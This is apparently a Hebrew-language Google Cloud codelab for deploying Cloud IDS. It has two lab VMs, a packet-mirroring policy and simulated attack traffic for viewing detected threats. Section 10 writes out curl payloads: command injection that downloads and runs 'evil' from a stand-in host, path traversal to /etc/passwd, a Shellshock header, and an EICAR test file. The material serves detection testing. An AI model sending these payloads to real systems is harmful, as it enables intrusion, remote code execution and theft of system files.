Cloud IDS

1. מבוא

בשיעור ה-Lab הזה תפרסו את Cloud IDS, שירות מתקדם לאיתור חדירות, שמספק זיהוי איומים מפני חדירות, תוכנות זדוניות, רוגלות ומתקפות פקודה ובקרה. תהיה לך אפשרות לדמות מספר התקפות ולהציג את פרטי האיומים במסוף Cloud.

מה תלמדו

  • איך יוצרים נקודת קצה של Cloud IDS
  • איך יוצרים 2 מכונות וירטואליות באמצעות פקודות gcloud
  • איך יוצרים מדיניות לשיקוף חבילות
  • איך לדמות תנועה תקיפה ממכונה וירטואלית
  • איך רואים את פרטי האיומים במסוף Cloud וב-Cloud Logging

מה צריך להכין

  • ידע בפקודות Linux בסיסיות

2. תרחישים לדוגמה של Cloud IDS

שירות Cloud IDS מספק שירות מקורי של Google Cloud לזיהוי חדירות (IDS) של הדור הבא, שמאפשר ללקוחות לעמוד בדרישות המתקדמות שלהם לזיהוי איומים ולתאימות, כמו PCI 11.4. השירות מבוסס על טכנולוגיות להגנה מפני איומים של Palo Alto Networks, כדי לספק זיהוי מתקדם של פריצות אבטחה. השילוב של התשתית מהטובות בעולם עם אבטחה ברמה עולמית של Palo Alto Networks מספק ללקוחות שילוב חסר תקדים של שירות זיהוי איומים מנוהל, עם ביצועים גבוהים ויעילות אבטחה מתקדמת.

כשהלקוחות עוברים לענן, האבטחה שלהם נמצאת בראש סדר העדיפויות שלהם. הם רוצים להשתמש באמצעי אבטחה דומים שיש להם בארגון, כמו שירות לגילוי חדירות (IDS) בענן. הם מעדיפים מאוד להשתמש בפתרון IDS מנוהל שמבוסס על ענן כדי להקל על הפריסה, לשפר את הביצועים ולייעל את העלויות, בהשוואה לפריסה של פתרון אבטחה של צד שלישי ולניהול התשתית או יצירת חתימות משלהם. Google Cloud IDS מספק שירות IDS מנוהל מקצה לקצה עם התאמה לעומס (auto-scaling), שמאפשר ללקוחות לבזבז את הזמן שלהם בניתוח ובצמצום של איומים, ולפנות זמן ומשאבים לניהול התשתית או חתימות על איומים.

שירות Cloud IDS נפרס מחוץ למסגרת ויכול לזהות איומים ולהתריע עליהם, אבל הוא לא יכול לחסום איומים. הטכנולוגיה הזו משתמשת ברפליקציות של Google Cloud Packet כדי ליצור עותק של התנועה ברשת שמנותחת באמצעות המנוע לזיהוי איומים של Palo Alto Network.

3. טופולוגיה של Codelab

5a276f399e1d31e2.png

איור 1. סקירה כללית של ארכיטקטורה ברמה גבוהה של פריסת Cloud IDS בשיעור ה-Lab הזה.

4. הגדרה ודרישות

הגדרת סביבה בקצב עצמאי

  1. נכנסים למסוף Google Cloud ויוצרים פרויקט חדש או עושים שימוש חוזר בפרויקט קיים. אם אין לכם עדיין חשבון Gmail או חשבון Google Workspace, עליכם ליצור חשבון.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • Project name הוא השם המוצג של המשתתפים בפרויקט. זו מחרוזת תווים שלא נעשה בה שימוש ב-Google APIs, ואפשר לעדכן אותה בכל שלב.
  • Project ID חייב להיות ייחודי בכל הפרויקטים ב-Google Cloud ואי אפשר לשנות אותו (אי אפשר לשנות אותו אחרי שמגדירים אותו). מסוף Cloud יוצר מחרוזת ייחודית באופן אוטומטי; בדרך כלל לא מעניין אותך מה זה. ברוב ה-Codelabs תצטרכו להפנות אל מזהה הפרויקט (ובדרך כלל הוא מזוהה כ-PROJECT_ID), כך שאם הוא לא מוצא חן בעיניכם, תוכלו ליצור פרויקט אקראי אחר או לנסות בעצמכם ולבדוק אם הוא זמין. ואז המכשיר 'קפוא' לאחר יצירת הפרויקט.
  • יש ערך שלישי, Project Number, שחלק מממשקי ה-API משתמשים בו. מידע נוסף על כל שלושת הערכים האלה זמין במסמכי התיעוד.
  1. בשלב הבא צריך להפעיל את החיוב במסוף Cloud כדי להשתמש במשאבים או בממשקי API של Cloud. מעבר ב-Codelab הזה לא אמור לעלות הרבה, אם בכלל. כדי להשבית את המשאבים ולא לצבור חיובים מעבר למדריך הזה, פועלים לפי ההנחיות לניקוי בסוף ה-Codelab. משתמשים חדשים ב-Google Cloud זכאים להצטרף לתוכנית תקופת ניסיון בחינם בשווי 1,200 ש"ח.

הפעלת Cloud Shell

אומנם אפשר להפעיל את Google Cloud מרחוק מהמחשב הנייד, אבל ב-Codelab הזה משתמשים ב-Google Cloud Shell, סביבת שורת הפקודה שפועלת ב-Cloud.

ממסוף GCP, לוחצים על הסמל של Cloud Shell בסרגל הכלים שבפינה השמאלית העליונה:

bce75f34b2c53987.png

נדרשים רק כמה דקות כדי להקצות את הסביבה ולהתחבר אליה. בסיום התהליך, אתם אמורים לראות משהו כזה:

f6ef2b5f13479f3a.png

למכונה הווירטואלית הזו נטען כל כלי הפיתוח הדרושים. יש בה ספריית בית בנפח מתמיד של 5GB והיא פועלת ב-Google Cloud, מה שמשפר משמעותית את ביצועי הרשת והאימות. כל העבודה בשיעור ה-Lab הזה יכולה להתבצע באמצעות דפדפן בלבד.

5. לפני שמתחילים

הפעלת ממשקי API

ב-Inside Cloud Shell, מוודאים שמזהה הפרויקט מוגדר

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

הפעלת כל השירותים הנחוצים

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. יצירת רשת VPC

רשת VPC

מ-Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

רשת משנה

מ-Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

גישה לשירות פרטי

מ-Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

חיבור לשירות פרטי

מ-Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

כללים לחומת אש

כדי לאפשר ל-IAP להתחבר למכונות הווירטואליות, יוצרים כלל של חומת אש:

  • המדיניות חלה על כל מכונות וירטואליות שרוצים לגשת אליהן באמצעות IAP.
  • תעבורת נתונים נכנסת (ingress) מטווח ה-IP 35.235.240.0/20. הטווח הזה מכיל את כל כתובות ה-IP שמשמשות להעברת TCP באמצעות IAP.

מ-Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

כדי לאפשר יציאת HTTP סטנדרטית (TCP 80) ופרוטוקול ICMP לשרת:

  • חלה על משאבים עם תג הרשת 'server'
  • תעבורת נתונים נכנסת (ingress) מכל המקורות

מ-Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

יצירת מכונה של Cloud NAT

Cloud Router

מ-Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

מ-Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. יצירת נקודת קצה של Cloud IDS

בקטע הזה יוצרים נקודת קצה (endpoint) של Cloud IDS ב-us-east1, ורמת החומרה שלה מוגדרת כמידע. היצירה של נקודת הקצה של IDS נמשכת כ-20 דקות.

נקודת קצה (endpoint) של IDS

מ-Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

איך מוודאים שנקודת הקצה של Cloud IDS הופעלה

gcloud ids endpoints list --project=$PROJECT_ID

פלט -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. יצירת 2 מכונות וירטואליות

בקטע הזה יוצרים 2 מכונות וירטואליות. הראשון יהיה שרת האינטרנט שמשקף את Cloud IDS. המכונה הווירטואלית השנייה תהיה מקור התנועה של המתקפה.

מכונה וירטואלית 1 (שרת)

מ-Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

מכונה וירטואלית 2 (לקוח)

מ-Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. השרת בהכנה

במשימה הזו תאמתו את השרת ותספקו מטען ייעודי (payload) לא תקין של תוכנה זדונית עבור הלקוח.

כניסת SSH למכונה הווירטואלית דרך Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

אישור ששירות האינטרנט פועל

sudo systemctl status nginx

פלט – אימות מצב פעיל ופועל

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

שינוי הספרייה לשירות אינטרנט

cd /var/www/html/

יצירה של קובץ תוכנה זדונית זדונית בשרת האינטרנט

sudo touch eicar.file

הדבקת התוכן

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

חזרה אל CloudShell

exit

יצירת מדיניות לשיקוף חבילות של Cloud IDS

מזהים את כלל ההעברה של נקודת הקצה ל-IDS ומוודאים שמצב נקודת הקצה של המזהה הוא READY.

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

פלט לדוגמה – מעתיקים את הערך מ-'endpointForwardRule'

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

שומרים במשתנה את כלל ההעברה של נקודת הקצה ל-IDS.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

המדיניות בנושא רפליקציה של חבילות נתונים

מ-Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

איך מוודאים שנוצרה המדיניות לשיקוף חבילות

מ-Cloud Shell

gcloud compute packet-mirrorings list

פלט

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. הדמיה של תנועה מתקפת

SSH למכונה הווירטואלית (הלקוח) התוקף

מ-Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

מריצים את בקשות ה-curl הבאות כדי לדמות תנועה זדונית.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

יציאה מה-VM כדי לחזור ל-CloudShell

exit

11. בדיקת איומים שזוהו על ידי Cloud IDS

נכנסים למרכז הבקרה של Cloud IDS

תפריט ניווט > אבטחת רשת > Cloud IDS

37583419aa604aa8.png

עוברים לכרטיסייה 'איומים'.

b7d934f409b4e2b.png

כמו שאפשר לראות, שירות Cloud IDS תיעד פרופילים שונים של תנועת מתקפות וסיפקו את הפרטים על כל איום. ייתכן שיהיה עליך ללחוץ על 'רענון' אם לא מופיעים איומים. עכשיו נתעמק קצת יותר בפרטי האיומים.

מאתרים את פרצת האבטחה של ביצוע קוד מרחוק ב-Bash לוחצים על סמל שלוש הנקודות מימין ובוחרים באפשרות "הצגת פרטי האיום".

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

עכשיו נציג את פרטי האירוע ב-Cloud Logging. חזור אל הדף 'איומים' על ידי לחיצה על החץ המצביע שמאלה .

לוחצים על שלוש הנקודות בצד שמאל ובוחרים באפשרות 'צפייה ביומני איומים'.

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

אותם הפרטים מופיעים ב-Cloud Logging. כך אפשר לשלוח את היומנים ל-Cloud Storage, ל-Chronicle או לכל SIEM/SOAR. אפשר גם ליצור תהליכי עבודה מותאמים אישית לביצוע פעולות תיקון על סמך התראות, למשל. יצירת פונקציה של Cloud Functions שמופעלת בהתראה, ויצירת/עדכון של כלל חומת אש כדי לחסום את כתובת ה-IP, או יצירה/עדכון של מדיניות Cloud Armor.

12. שלבי ניקוי

יציאה ממכונת VM (כל הכרטיסיות)

exit

מטרמינל יחיד של Cloud Shell, מוחקים את רכיבי שיעור ה-Lab

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. מעולה!

ברכות על השלמת ה-Codelab.

אילו נושאים דיברנו?

  • תרחישים לדוגמה של Cloud IDS
  • דרישות רשת
  • ממשקי API נתמכים
  • נוצרה נקודת קצה (endpoint) של Cloud IDS
  • פרוסות 2 מכונות וירטואליות
  • נוצרה 'התקפה' תנועה מהלקוח
  • איומים מאומתים זוהו על ידי IDS
  • בדיקת הפרטים והיומנים של האיומים